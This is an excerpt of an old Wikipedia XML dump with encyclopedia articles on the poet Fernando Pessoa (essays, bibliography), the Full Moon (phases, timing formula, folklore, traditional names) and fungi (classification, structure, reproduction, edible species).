One of the most famous quotes from ''Mensagem'' is the first verse from ''O Infante'' (belonging to the second Part), which is ''Deus quer, o homem sonha, a obra nasce'' (which translates roughly to &quot;God wants, man dreams, the deed is born&quot;).

== Literary essays ==
In 1912, Fernando Pessoa wrote a set of essays later collected under the designation ''The New Portuguese Poetry'' for the literary journal [[A Águia]], (The Eagle), founded in [[Oporto]] in December 1910. The first series of two articles engage the issue 'The new Portuguese poetry viewed sociologically' (nos. 4 and 5 ); the second series of three articles is entitled 'The psychological aspect of the new Portuguese poetry' (nos. 9,11 and 12). The articles disclose him as a connoisseur of modern European literature and an expert of recent literary trends. On the other hand, he does not care too much for methodology of analysis and problems of history of ideas. He states his confidence that Portugal would soon produce a great poet -a 'super-Camoens' as he calls him – pledged to make an important contribution for European culture, and indeed, for humanity.

== Philosophical essays ==
The philosophical notes of young Fernando Pessoa, mostly written between 1905 and 1912, illustrate his debt to the history of [[Philosophy]] more through commentators than through a first-hand protracted reading of the Classics, ancient or modern. The issues he engages with pertain to every philosophical discipline and are dealt with a large profusion of concepts, creating a vast semantic spectrum in texts whose length oscillates between half a dozen lines and half a dozen pages and whose density of analysis is extremely variable; simple paraphrasis, expression of assumptions and original speculation. 

Pessoa sorted the philosophical systems thus: 
1)Relative Spiritualism and relative Materialism privilege “Spirit “or “Matter “as the main pole that organizes data around Experience. 2) Absolute Spiritualist and Absolute Materialist &quot;deny all objective reality to one of the elements of Experience&quot;. 3) The materialistic [[Pantheism]] of [[Baruch Spinoza|Spinoza]] and the spiritualizing Pantheism of [[Nicolas Malebranche|Malebranche]], “admit that experience is a double manifestation of any thing that in its essence has no matter neither spirit&quot;. 4) Considering both elements as an illusory manifestation&quot;, of a transcendent and true and alone realities, there is [[Transcendentalism]], inclined into matter with [[Arthur Schopenhauer|Schopenhauer]], or into spirit, a position where [[Henri Bergson|Bergson]] could be emplaced. 5) A terminal system “the limited and summit of metaphysics” would not radicalize - as poles of experience one of the singled categories - matter, relative, absolute, real, illusory, spirit. Instead, matching all categories, it takes contradiction as “the essence of the universe” and defends that “an affirmation is so more true insofar the more contradiction involves&quot;. The transcendent must be conceived beyond categories. There ''is one only and eternal example of it. It is that cathedral of thought -the philosophy of [[Hegel]].''
Such [[Pantheist Transcendentalism]] is used by Pessoa to define the project that “encompasses and exceeds all systems &quot;; to characterize the new poetry of [[Saudosismo]] where the “typical contradiction of this system“ occurs; to inquire what are the social and politic results of its adoption as the leading cultural paradigm; and, at last, he hints that metaphysics and religiosity strive “to find in everything a beyond&quot;.

==Sexuality==

Some literary critics and analysts of Pessoa's work have suggested that Pessoa may have been [[gay]]. However, the evidence for this is largely circumstantial — some of his &quot;English Poems&quot; was [[homoeroticism|homoerotic]], and he reportedly broke off his engagement to Ophelia Queiroz by telling her &quot;My destiny belongs to a different law, whose existence some do not even suspect.&quot; 
However, there is no clearly documented evidence of Pessoa's sexual preference, and his use of heteronyms makes it difficult to verify whether the gay subtext in some of his work documents his own experience or that of a character.
Whatever was is sexual orientation, he was mainly assexual, like him, as Bernardo Soares, seems to state in the &quot;Book of Disquiet&quot;.

== Selected works ==
[http://www.amazon.com/exec/obidos/ASIN/0141183047 Book of Disquiet, tr. Richard Zenith]

[http://www.amazon.com/exec/obidos/ASIN/0802136273 Fernando Pessoa &amp; Co: Selected Poems]

[http://www.amazon.com/exec/obidos/ASIN/0802139140 The Selected Prose of Fernando Pessoa]

[http://www.amazon.com/exec/obidos/ASIN/0415969611 A Centenary Pessoa]

[http://www.amazon.com/exec/obidos/ASIN/0872863425 Poems of Fernando Pessoa, tr. Honig &amp; Brown]

[http://www.amazon.com/exec/obidos/tg/detail/-/2850255386 Fernando Pessoa (Pocket Archives Series): Photographs]

== Selected links ==
===Portuguese===
*[http://www.instituto-camoes.pt/escritores/pessoa.htm Instituto Camoes: Fernando Pessoa]
*[http://www.casafernandopessoa.com Casa Fernando Pessoa]
*[http://www.secrel.com.br/jpoesia/pessoa.html Jornal de Poesia]
*[http://pwp.netcabo.pt/netmendo/pessoa.htm As Coerências]
*[http://omj.no.sapo.pt O Major Reformado]

===English===
*[http://www.kirjasto.sci.fi/pessoa.htm Kirjasto Biography]
*[http://pwp.netcabo.pt/netmendo/pessoa.htm The Philosopher-Poet]
*[http://omj.no.sapo.pt/index%20English.htm The Retired Major]

===Spanish===
*[http://www.fpessoa.com.ar Poesias Coligidas de Fernando Pessoa]

== Selected critical essays ==
* [http://www.geocities.com/idol911_4life/bio.html George Monteiro: Biography]
* [http://www.geocities.com/idol911_4life/gray.html John Gray: Assault on Authorship]
* [http://www.geocities.com/idol911_4life/bloom.html Harold Bloom: Fernando Pessoa]
* [http://www.geocities.com/idol911_4life/griffin.html Jonathan Griffin: Introduction]
* [http://pwp.netcabo.pt/netmendo/pessoa.htm Mendo Castro Henriques: The Philosopher-Poet]
* [http://www.geocities.com/idol911_4life/seabra.html Jose Augusto Seabra: Overview]
* [http://www.geocities.com/idol911_4life/letter.html Fernando Pessoa: Origin of Heteronyms]
* [http://www.geocities.com/idol911_4life/wood.html Michael Wood: Mod &amp; Great]
* [http://www.geocities.com/idol911_4life/hollander.html John Hollander: Quadrophenia]

== Criticism ==

&lt;b&gt;English:&lt;/b&gt;

&lt;b&gt;Books:&lt;/b&gt;

* Ironic Multiplicity: Fernando's &quot;Pessoas&quot; Suspended in Kierkegaardian Irony / Hale, Michelle Pulsipher., 2004 

* Atlantic Poets: Fernando Pessoa's turn in Anglo-American Modernism / Santos, Maria Irene Ramalho Sousa., 2003 

* Pessoa's Alberto Caeiro. Publication: [Dartmouth, Mass.] : Center for Portuguese Studies and Culture, University of Massachusetts Dartmouth., 2000 

* Modernism's Gambit: Poetry Problems and Chess Stratagems in Fernando Pessoa and Jorge Luis Borges / Peña, Karen Patricia., 2000 

* An Introduction to Fernando Pessoa: Modernism and the Paradoxes of Authorship / Sadlier, Darlene., 1998 

* A Centenary Pessoa / Pessoa, Fernando., 1997 

* Fernando Pessoa: Voices of a Nomadic Soul / Kotowicz, Zbigniew., 1996 

* The Continuing Presence of Walt Whitman: the Life after the Life / Martin, Robert., 1992 

* Fernando Pessoa: the Bilingual Portuguese Poet / Terlinden-Villepin, Anne., 1990 

* Three Persons on One: A Centenary Tribute to Fernando Pessoa / McGuirk, Bernard., 1988 

* Fernando Pessoa, a Galaxy of Poets / Carvalho, Maria Helena Rodrigues de., 1985 

* Fernando Pessoa's The Mad Fiddler: A Critical Study / Terlinden-Villepin, Anne., 1984 

* Spatial Imagery of Enclosure in the Poetry of Fernando Pessoa / Guyer, Leland Robert., 1979 

* The Role of the Other in the Poetry of Fernando Pessoa / Jones, Marilyn Scarantino., 1974

* Selected Poems of Fernando Pessoa / Rickard, Peter., 1972

* Three Twentieth-Century Portuguese Poets / Parker M., John., 1960


&lt;b&gt;Articles:&lt;/b&gt;

&lt;i&gt;(The following articles are located on the Gale website (Galenet.com) --note: password is required for access. Ask your public librarian for a password...More essays can be located in the Gale Criticism Anthologies; these are also found in your public library.)&lt;/i&gt;


* Wood, Michael, &quot;Mod and Great&quot; in The New York Review of Books, Vol. XIX, No. 4, September 21, 1972, pp. 19-22.

* Hollander, John, &quot;Quadrophenia,&quot; in New Republic, September 7, 1987, pp. 33-6. &lt;br&gt;

* Eberstadt, Fernanda, &quot;Proud of His Obscurity,&quot; in The New York Times Book Review, Vol 96, September 1, 1991, p.26. 

* Dyer, Geoff, &quot;Heteronyms&quot; in The New Statesman, Vol. 4, December 6, 1991, p. 46. &lt;br&gt;

* Haberly, David T., &quot;Fernando Pessoa: Overview&quot; in Reference Guide to World Literature, 2nd ed., edited by Lesley Henderson, St. James Press, 1995. 

* Rosenthal, David H., &quot;Unpredictable Passions,&quot; in The New York Times Book Review, December 13, 1987, p. 32. 

* Sheets, Jane M., &quot;Fernando Pessoa as Anti-Poet: Alberto Caeiro,&quot; in Bulletin of Hispanic Studies, Vol. XLVI, No. 1, January 1969, pp. 39-47. Reprinted in Poetry Criticism, Vol. 20. 

* Severino, Alex, &quot;Fernando Pessoa's Legacy: The Presença and After,&quot; in World Literature Today, Vol. 53, No. 1, Winter, 1979, pp. 5-9. Reprinted in Poetry Criticism, Vol. 20. 

* Sousa, Ronald W., &quot;The Structure of Pessoa's Mensagem,&quot; in Bulletin of Hispanic Studies, Vol. LIX, No. 1, January 1982, pp. 58-66. Reprinted in Poetry Criticism, Vol. 20. 

* Guyer, Leland, &quot;Fernando Pessoa and the Cubist Perspective,&quot; in Hispania, Vol. 70, No. 1, March 1987, pp. 73-8. Reprinted in Poetry Criticism, Vol. 20. 

* Cruz, Anne J., &quot;Masked Rhetoric: Contextuality in Fernando Pessoa's Poems,&quot; in Romance Notes, Vol. XXIX, No. 1, Fall, 1988, pp. 55-60. Reprinted in Poetry Criticism, Vol. 20. 


&lt;b&gt;Português:&lt;/b&gt;

* Pessoa / Carvalho, António Carlos. Publication: Lisboa: Pergaminho, 1999 

* O coração do texto = Le coeur du texte: novos ensaios pessoanos / Seabra, José Augusto.; Galhoz, Maria Aliete Dores. Publication: Lisboa : Edições Cosmos, 1996 

* Para compreender Fernando Pessoa: uma aproximação a Fernando Pessoa e heteronimos / Pais, Amélia Pinto. Publication: Porto : Areal Editores, 1996 

* Pessoa inédito / Lopes, Maria Teresa Rita. Publication: Lisboa: Livros Horizonte, 1993 

* A vivência do tempo em Fernando Pessoa e outros ensaios pessoanos / Matos, Maria Vitalina Leal de, Publication: Lisboa, Portugal: Editorial Verbo, 1993 

* As coerências de Fernando Pessoa / Henriques, Mendo Castro, Lisboa, Editorial Verbo, 1989

* Literatura &amp; heteronímia: sobre Fernando Pessoa / Diogo, Américo António Lindeza. Publication: Pontevedra-Braga: Irmandades da Fala de Galiza e Portugal, 1992 

* Pessoa por conhecer, 2 volumes / Lopes., 1990

* Fernando Pessoa  espelho e a esfinge / Moisés, Massaud. Publication: São Paulo: Editora Cultrix : Editora da Universidade de São Paulo, 1988 

* Nos passos de Pessoa: ensaios / Mourão-Ferreira, David. Publication: Lisboa: Editorial Presença, 1988 

* Estudos sobre Fernando Pessoa / Crespo, Angel. Publication: Lisboa, Portugal: Teorema, 1988 

* Fernando Pessoa, o desconhecido de si mesmo / Paz, Octavio; Da Costa, Luís Alves. Publication: Lisboa: Vega, 1988 

* Fernando Pessoa: os trezentos e outros ensaios / Centeno, Y. K. Publication: Lisboa: Editorial Presença, 1988 

* Microleituras de Alvaro de Campos: e outras investigações pessoanas / Coêlho, Joaquim-Francisco. Publication: Lisboa: Publicações Dom Quixote, 1987 

* Compreender Pessoa / Vilhena, Ramires. Publication: Lisboa : Vega, 1986 

* O essencial sobre Fernando Pessoa / Lancastre, Maria José de. Publication: [Lisbon]: INCM, 1985 

* Fernando Pessoa: aquém do eu, além do outro / Perrone-Moisés, Leyla. Publication: São Paulo, SP, Brasil: Martins Fontes, 1982 

* Estudos sobre Fernando Pessoa / Lind, Georg Rudolf. Publication: [Lisbon]: Impr. Nacional-Casa da Moeda, 1981 

* Pessoa e Camões: três análises divergentes / Alves, José Edil de Lima. Publication: Porto Alegre: Editora Movimento, 1979 

* O constelado Fernando Pessoa / Quesado, José Clécio Basílio. Publication: Rio de Janeiro: Imago Editora, 1976 

* Um Fernando Pessoa / Silva, Agostinho da. Publication: Lisboa: Guimarães Editores, 1959

* Introduction a la poesie de Fernando Pessoa / Casais Monteiro, Adolfo, 1938


&lt;b&gt;Español:&lt;/b&gt;

* El silencio de los poetas: Pessoa, Pizarnik, Celan, Michaux / Cohen, Sara / Publicacion: Buenos Aires: Editorial Biblos, 2002 

* Con Fernando Pessoa / Crespo, Angel / Publicacion: Madrid : Huerga &amp; Fierro, 2000 

* Un baúl lleno de gente: Escritos sobre Pessoa / Tabucchi, Antonio; Ladrón de Guevara, Pedro Luis. / Publicacion: Madrid: Huerga &amp; Fierro, 1997 

* Identidad y alteridad en Fernando Pessoa y Antonio Machado: / Lourenço, António Apolinário. / Publicacion: Salamanca: Ediciones Universidad de Salamanca, 1997 

* Fernando Pessoa en palabras y en imágenes / Llardent, José Antonio. / Publicacion: [Madrid] : Ediciones Siruela: Ministerio de Cultura, 1995 

* La sensibilidad finisecular: Joyce, Woolf, Pessoa / Alzuru, Pedro / Publicacion: Mérida, Venezuela: Consejo de Publicaciones, ULA, 1993 

* El texto íntimo: Rilke, Kafka y Pessoa / Castro Flórez, Fernando / Publicacion: Madrid: Tecnos, 1993 

* Pessoa, la respuesta de la palabra / López Meléndez, Teódulo/ Publicacion: Caracas: Academia Nacional de la Historia, 1992 

* Fernando Pessoa, un místico sin fe: una aproximación al pensamiento heteronímico / Ordóñez, Andrés / Publicacion: México, D.F.: Siglo Veintiuno Editores, 1991 

* Díptico pessoano / García Martín, José Luis / Publicacion: Mérida: Editora Regional de Extremadura, 1990 

* Fernando Pessoa: identidad y diferencia / Vázquez Medel, Manuel Angel / Publicacion: Sevilla: Galaxia, 1988 

* Estudios sobre Pessoa / Crespo, Angel / Publicacion: Barcelona, España: Bruguera, 1984 

* Fernando Pessoa / García Martín, José Luis/ Publicacion: Madrid: Ediciones Júcar, 1983

[[Category:1888 births|Pessoa, Fernando]]
[[Category:1935 deaths|Pessoa, Fernando]]
[[Category:Portuguese poets|Pessoa, Fernando]]
[[Category:Portuguese essayists|Pessoa, Fernando]]

[[de:Fernando Pessoa]]
[[es:Fernando Pessoa]]
[[eo:Fernando PESSOA]]
[[fr:Fernando Pessoa]]
[[gl:Fernando Pessoa]]
[[is:Fernando Pessoa]]
[[it:Fernando Pessoa]]
[[he:פרננדו פסואה]]
[[nl:Fernando Pessoa]]
[[pl:Fernando Pessoa]]
[[pt:Fernando Pessoa]]
[[fi:Fernando Pessoa]]
[[zh:費爾南多·佩索亞]]</text>
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  </page>
  <page>
    <title>Full moon</title>
    <id>11432</id>
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      <minor />
      <comment>robot  Adding: gl</comment>
      <text xml:space="preserve">[[Image:Full moon.jpeg|thumb|200px|The [[Galileo probe|Galileo]] spacecraft took this composite image on [[7 December]] [[1992]] on its way to explore the [[Jupiter_(planet)|Jupiter]] system in 1995-97. The color is 'enhanced' in the sense that the CCD camera is sensitive to near infrared wavelengths of light beyond human vision.]]

The '''Full Moon''' is the [[lunar phase]] that occurs when the [[Moon]] lies on the opposite side of [[Earth]] from the [[Sun]]. The Moon as seen from the surface of Earth is fully illuminated by the Sun at this time, presenting a &quot;full&quot; round disk to viewers on Earth. As always, only half the total surface of the Moon is illuminated.

==Eclipses==
A Full Moon is the only time when a [[lunar eclipse]] is possible; at that time the Moon may move through the shadow cast by Earth. However, because of the tilt or inclination of the Moon's [[orbit]] around Earth relative to Earth's orbit around the Sun, the Moon usually passes to the north or south of Earth's shadow at Full Moon, so a lunar eclipse does not occur at every Full Moon.

Full Moons are generally a poor time to conduct [[astronomy|astronomical]] observations, since the bright reflected sunlight from the Moon overwhelms the dimmer light from stars.

==Numbers and formulae==
Although on average it takes only 27.322 days ([[sidereal month]]) for the Moon to complete one [[orbit]] around  Earth, it requires about two more days than that to again catch up with the Sun. On average, the number of days between Full Moons is about 29.5306 days. The actual number of days may differ from the average number by more than a half day.  From one Full Moon to the next, the number of days in one ''lunation'' can vary between 29.272 and 29.833 days.

The age and apparent size of the Full Moon vary in a cycle of just under 14 synodic [[month]]s, which is called the [[Full moon cycle]].

The combined date and time of Full Moon number ''N'', using a fictitious moon that moves at a strictly mean rate is approximately:

:''D'' = 20.362954 + 29.5305888531 &amp;times; ''N'' + 102.19 &amp;times; 10&lt;sup&gt;-12&lt;/sup&gt; &amp;times; ''N''&lt;sup&gt;&amp;nbsp;2&lt;/sup&gt;

* ''D'' is the number of days (and fractions) since [[1 January]] [[2000]] 00:00:00 [[Coordinated Universal Time|UTC]],
* ''N'' is the count of full moons starting with '''zero''' as the first (not '''1''' as you would have expected) as the first Moon in the year 2000.

The '''true''' Full Moon may differ from this by up to about 14.5 hours, due to the normal irregularity in the Moon's [[Johannes Kepler|Keplerian]] orbit, and due to the periodic perturbations on that Keplerian orbit by the Sun, the equatorial bulge of Earth, and nearby planets.

See the [[New Moon]] page for a detailed explanation of the formula.

==Folklore==
Full Moons are traditionally associated with temporal [[insomnia]], [[insanity]] (hence the terms ''lunacy'' and ''lunatic'') and various magical phenomena such as [[lycanthropy]].

Psychologists have found that there is no strong evidence for effects on behaviour around Full Moon. They find that studies are not consistent, with one showing a positive effect, while another will show a negative effect. In one instance, the [[December 23]], [[2000]] issue of the ''[[British Medical Journal]]'' published two studies on dog bite admission to hospitals in England and Australia. The study of the [[Bradford Royal Infirmary]] found that dog bites were twice as common at Full Moon, while the study of public hospitals in Australia found they were less likely at Full Moon. Psychologists point out that there is a difference between [[correlation]] and [[Causality|causation]]. The mere fact that two events happen at the same time doesn't mean that there is a cause and effect relationship between the two.

[[Neopaganism|Neopagans]] hold a monthly ritual called an [[Esbat]] at each Full Moon.

Many people practicing traditional Chinese religions prepare their ritual offerings to their ancestors and deities on every Full Moon and New Moon.

==Calendars==
The [[Islamic calendar]] and the traditional [[Chinese calendar]] are both based on the phases of the Moon. Neither calendar, however, begins its months with the Full Moon.

In the [[Chinese calendar]], the Full Moon is always the middle of a [[month]]. The [[Mid-Autumn Festival]] falls on the Full Moon of the eighth month. The [[Lantern Festival]] falls on the first Full Moon of the year.

==Full Moon names==
Folklore assigns a special name to each Full Moon, although the rule for determining which name will be assigned to which Moon has changed over time (see article at [[blue moon]]).

Modern practice is to assign the traditional names based on the [[Gregorian calendar]] month in which the Full Moon falls. This frequently results in the same  name as the older method would, and is far more convenient in practice. The older method of assigning names is based on seasons and quarters of the year.

{| class=&quot;wikitable&quot;
|+'''Full Moon Names'''
|-
! Month
! English Names
! Native American Names
! Other Names Used
|-
| January
| Moon After [[Yule]]
| Wolf Moon
| Old Moon
|-
| February
| Wolf Moon
| Snow Moon
| Hunger Moon
|-
| March
| Lenten Moon
| Worm Moon
| Crow Moon, Crust Moon, Sugar Moon, Sap Moon
|-
| April
| Egg Moon
| Pink Moon
| Sprouting Grass Moon, Fish Moon
|-
| May
| Milk Moon
| Flower Moon
| Corn Planting Moon
|-
| June
| Flower Moon
| Strawberry Moon
| Rose Moon, Hot Moon
|-
| July
| Hay Moon
| Buck Moon
| Thunder Moon
|-
| August
| Grain Moon
| Sturgeon Moon
| Red Moon, Green Corn Moon
|-
| September
| Fruit Moon
| [[Harvest moon|Harvest Moon]]
| Corn Moon, Barley Moon
|-
| October
| [[Harvest moon|Harvest Moon]]
| Hunter's Moon
| Travel Moon, Dying Grass Moon
|-
| November
| Hunter's Moon
| Beaver Moon
| Frost Moon
|-
| December
| Moon Before Yule
| Cold Moon
| Long Nights Moon
|-
| colspan=&quot;4&quot; | These are the traditional English names for each month's Full Moon and the names given by [[Native Americans in the United States|Native Americans]] in the northern and eastern United States. The Moon was used to track the seasons. (From ''[[Farmer's Almanac]]'')
|}

Traditionally these names corresponded to the seasons rather than calendar months. So, for instance, the Egg Moon would always be the first moon after March 21st, and the Lenten Moon would always be the last moon on or before March 21st, the Full Moon before [[Easter]].

== The Blue moon ==

:''See the full article [[Blue moon]]''.

The origin of the folkloric term &quot;[[Blue Moon]]&quot; is complicated, because its meaning has changed over time. Modern practice is to name a Full Moon a ''blue moon'' if it is the second of two Full Moons to occur in the same calendar month. The original meaning of ''blue moon'' was the third Full Moon in a season when there were four Full Moons in that season.

==See also==
* [[Lunar phase]]
* [[New Moon]]
* [[Blue Moon]]

==References==
*{{Citenews | title=Full Moon Effect On Behavior Minimal, Studies Say | date=February 6, 2004 | org=National Geographic Society | url=http://news.nationalgeographic.com/news/2002/12/1218_021218_moon.html}}

[[Category:Moon]]

[[cs:Úplněk]]
[[de:Vollmond]]
[[es:Luna llena]]
[[fr:Pleine Lune]]
[[gl:Fases da lúa]]
[[nl:Volle maan (astronomie)]]
[[ja:満月]]
[[fi:Täysikuu]]
[[sv:Fullmåne]]
[[th:วันเพ็ญ]]</text>
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  <page>
    <title>Film Formats</title>
    <id>11433</id>
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      <text xml:space="preserve">#REDIRECT [[Film format]]</text>
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    <title>Français</title>
    <id>11434</id>
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      <id>15909179</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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  </page>
  <page>
    <title>Fungus</title>
    <id>11435</id>
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      <id>41626406</id>
      <timestamp>2006-02-28T16:49:08Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
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      </contributor>
      <comment>/* References */ {{cite web}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightblue
| name = Fungi
| image = Fungus on log.jpg
| image_width = 200px
| image_caption = ''Orange saprotrophic fungus''.
| domain = [[Eukaryote|Eukaryota]]
| regnum = '''Fungi'''
| regnum_authority = [[Carolus Linnaeus|L.]], 1753
| subdivision_ranks = Divisions
| subdivision = 
[[Chytridiomycota]]&lt;br/&gt;
[[Deuteromycota]]&lt;br/&gt;
[[Zygomycota]]&lt;br/&gt;
[[Glomeromycota]]&lt;br&gt;
[[Ascomycota]]&lt;br/&gt;
[[Basidiomycota]]
}}
[[Image:fungi in Borneo.jpg|right|thumb|Fungus growing on a tree in [[Borneo]]]]
&lt;!-- Remove improper hatnote // 
:''For the fictional character, see [[Fungus the Bogeyman]].''--&gt;
A '''fungus''' (plural '''fungi''') is a [[Eukaryote|eukaryotic]] [[organism]] that digests its [[food]] externally and absorbs the [[nutrient]] [[Molecule|molecules]] into its [[cell (biology)|cell]]s. Fungi are very important economically: [[yeast]]s are responsible for [[fermentation]] of [[beer]] and [[bread]], and [[mushroom]] farming is a large industry in many countries. Fungi are the primary [[decomposer]]s of dead plant and animal matter in many [[ecosystem]]s, and are commonly seen on old bread as [[mold]]. However, the complex [[biology]] of fungi extends beyond this common knowledge and experience of them.

==Phylogeny of fungi==

Originally classified as [[plant]]s, fungi are not true plants, because they are [[heterotroph]]s (they do not fix their own carbon through [[photosynthesis]] but use the carbon fixed by other organisms.) Fungi are more closely related to [[animal]]s than to plants, but, unlike animals, they absorb their food rather than [[Ingestion|ingest]] it, and their cells have [[cell wall]]s surrounding them. For these reasons, these organisms are now placed in their own [[kingdom (biology)|kingdom]], '''Fungi'''.

The Fungi are a [[monophyletic]] group, meaning all varieties of fungi come from a common ancestor. [[Mycologist]]s (scientists who study fungi) believe they are monophyletic because they have [[chitin]] in their cell walls and are absorbtive heterotrophs, along with other shared characteristics.

==Overview==
Although often inconspicuous, fungi occur in every environment on [[earth]] and play very important roles in most [[ecosystems]]. Some fungi are major [[decomposer]]s of dead plant and animal matter in [[forest]]s and many other environments. Some types of fungi are [[parasite]]s on plants and animals, including [[human]]s. They are responsible for numerous [[disease]]s, such as [[athlete’s foot]] and [[ringworm]] in humans and [[Dutch elm disease]] in plants. Other fungi are partners in [[symbiosis|symbiotic]] relationships with other organisms. For example, [[lichen]]s are formed by a symbiotic relationship between [[algae]] or [[cyanobacteria]] and fungi. Most [[vascular plant]]s benefit from a symbiosis between their [[root]]s and fungi.

Fungi have a long history of use by humans. Many types of [[mushroom]]s and other fungi are eaten, including [[button mushroom]]s, [[shiitake mushroom]]s, and [[oyster mushroom]]s. Of course, many [[species]] of mushrooms are [[poison]]ous and are responsible for numerous cases of [[sickness]] and [[death]] every year. A type of fungus called [[yeast]] is used in baking [[bread]] and [[ferment]]ing [[alcoholic beverage]]s. Fungi are also used to produce industrial chemicals like [[lactic acid]], and even to make stonewashed [[jeans]]. Some types of fungi are ingested for their [[psychedelic drug|psychedelic]] properties, both [[recreational drug|recreationally]] and religiously (as [[entheogen]]s) (see main article, ''[[Psychedelic mushroom]]'').

===Types of fungi===
The major divisions ([[phyla]]) of fungi are mainly classified based on their sexual [[reproduction|reproductive]] structures. Currently, five divisions are recognized:

[[Image:K_1033CR08-9_Yellow_fungus_on_stalk.jpg|right|thumb|200px|Yellow fungus]]

* The [[Chytridiomycota]] are commonly known as chytrids. These fungi produce zoospores that are capable of moving on their own through liquid menstrua by simple [[flagellum|flagella]].
* The [[Zygomycota]] are known as zygomycetes and reproduce sexually with meiospores called zygospores. [[Black bread mold]] (''Rhizopus stolonifer'') is a common species that belongs to this group, another is ''[[Pilobolus]]'', which shoots specialized structures through the air for several meters and was the source of the name for the modern dance troupe.
* Members of the [[Glomeromycota]] are also known as the arbuscular mycorrhizal fungi. Only one species has been observed forming zygospores; all other species only reproduce asexually. This is an ancient association, with evidence dating to 350 mybp. 
* The [[Ascomycota]], commonly known as sac fungi or ascomycetes, meiotic spores are called ascospores, which are enclosed in a special sac-like structure called an ascus. This division includes [[morel]]s, some [[mushroom]]s and [[truffle]]s, as well as single-celled [[yeast]]s and many species that have only been observed undergoing asexual reproduction. Because the products of meiosis are retained within the sac-like ascus, several ascomyctes have been used for elucidating principles of genetics and heredity (e.g. ''[[Neurospora crassa]]''). 
* Members of the [[Basidiomycota]], commonly known as the club fungi or basidiomycetes, produce meiospores called [[basidiospore]]s on club-like stalks called [[basidium|basidia]]. Most common [[mushroom]]s belong to this group, as well as [[rust (fungus)]] and [[smut (fungus)|smut fungi]], which are major pathogens of grains.

Although the [[water mold]]s and [[slime mold]]s have traditionally been placed in kingdom Fungi and are still studied by mycologists, they are not true fungi. Unlike true fungi, the water molds and slime molds do not have cell walls made of [[chitin]]. In the [[kingdom (biology)|5-kingdom system]], they are currently placed in kingdom [[Protist]]a.

===Structure===
Fungi may be single-celled or multicellular. Multicellular fungi are composed networks of long hollow tubes called [[hyphae]]. The hyphae often aggregate in a dense network known as [[mycelium]]. The mycelium grows through the [[substrate]] on which the fungus feeds. Because fungi are imbedded in the medium in which they grow, they are often not visible to the naked eye.

Although fungi lack true organs, the mycelia of ascomycetes and basidiomycetes may become organized into more complex reproductive structures called [[fruiting body|fruiting bodies]], or sporocarps, when conditions are right. &quot;Mushroom&quot; is the common name given to the above-ground fruiting bodies of many fungal species. Although these above-ground structures are the most conspicuous to humans, they make up only a small portion of the entire fungal body. Some fungi form rhizoids, which are underground root-like structures that provide support and transport nutrients from the soil to the rest of the mycelium.

The largest organism in the world is purported to be a single ''[[Armillaria ostoyae]]'' individual growing in a forest in eastern [[Oregon]], [[USA]]. The underground mycelial network may cover as much as 890 [[hectare|ha]] (2200 [[acre]]s).

[[Image:Fungi Belize.jpg|right|thumb|200px|Fungus growing on fallen tree trunks in [[Belize]].]]

===Reproduction===
Fungi may reproduce sexually or asexually. In [[asexual reproduction]], the [[offspring]] are genetically identical to the “parent” organism (they are [[Cloning|clones]]). During [[sexual reproduction]], a mixing of [[gene|genetic material]] occurs so that the offspring exhibit traits of both parents. Many species can use both strategies at different times, while others are apparently strictly sexual or strictly asexual. Sexual reproduction has not been observed in some fungi of the [[Glomeromycota]] and [[Ascomycota]]. These are commonly referred to as Fungi imperfecti or [[Deuteromycota]].

Yeasts and other unicellular fungi can reproduce simply by [[budding]], or “pinching off” a new cell. Many multicellular species produce a variety of different asexual spores that are easily dispersed and resistant to harsh environmental conditions. When the conditions are right, these spores will [[germination|germinate]] and colonize new [[habitat]]s.

Sexual reproduction in fungi is somewhat different from that of animals or plants, and each fungal division reproduces using different strategies. Fungi that are known to reproduce sexually all have a [[haploid]] stage and a [[diploid]] stage in their life cycles. Ascomycetes and basidiomycetes also go through a [[dikaryotic]] stage, in which the [[cell nucleus|nuclei]] inherited by the two parents do not fuse right away, but remain separate in the hyphal cells (see [[heterokaryosis]]).

In zygomycetes, the haploid hyphae of two compatible individuals fuse, forming a [[zygote]], which becomes a resistant [[zygospore]]. When this zygospore germinates, it quickly undergoes [[meiosis]], generating new haploid hyphae and asexual [[sporangiospore]]s. These sporangiospores may then be distributed and germinate into new genetically-identical individuals, each producing their own haploid hyphae. When the hyphae of two compatible individuals come into contact with one another, they will fuse and generate new zygospores, thus completing the cycle.

In ascomycetes, when compatible haploid hyphae fuse with one another, their nuclei do not immediately fuse. The dikaryotic hyphae form structures called [[ascus|asci]] (''sing.'' ascus), in which [[karyogamy]] (nuclear fusion) occurs. These asci are embedded in an [[ascocarp]], or fruiting body, of the fungus. Karyogamy in the asci is followed immediately by meiosis and the production of ascospores. The ascospores are disseminated and germinate to form new haploid mycelium. Asexual [[Conidium|conidia]] may be produced by the haploid mycelium. Many ascomycetes appear to have lost the ability to reproduce sexually and reproduce only via conidia.

Sexual reproduction in basidiomycetes is similar to that of ascomycetes. Sexually compatible haploid hyphae fuse to produce a dikaryotic mycelium. This leads to the production of a [[basidiocarp]]. The most commonly-known basidiocarps are mushrooms, but they may also take many other forms. Club-like structures known as [[basidia]] generate haploid [[basidiospores]] following karyogamy and meiosis. These basidiospores then germinate to produce new haploid myceliumata.

==Edible and poisonous fungi==

Some of the most well-known types of fungi are the [[Edible mushroom|edible]] and [[Mushroom poisoning|poisonous mushrooms]]. Many species are commercially raised, but others must be harvested from the wild. Button mushrooms (''Agaricus bisporus'') are the most commonly eaten species, used in salads, soups, and many other dishes. [[Button mushroom|Portobello mushrooms]] are also members of this species, but grow to a much larger size. Other commercially-grown mushrooms that have gained in popularity in the West and are often available fresh in grocery stores include oyster mushrooms, shiitakes, and [[enoki]] mushrooms. 

There are many more mushroom species that are [[Mushroom hunting|harvested from the wild]] for personal consumption or commercial sale. Morels, [[chanterelle]]s, [[truffles]], [[Craterellus|black trumpets]], and [[porcini]] mushrooms (also known as king boletes) all command a high price on the market. They are often used in gourmet dishes.

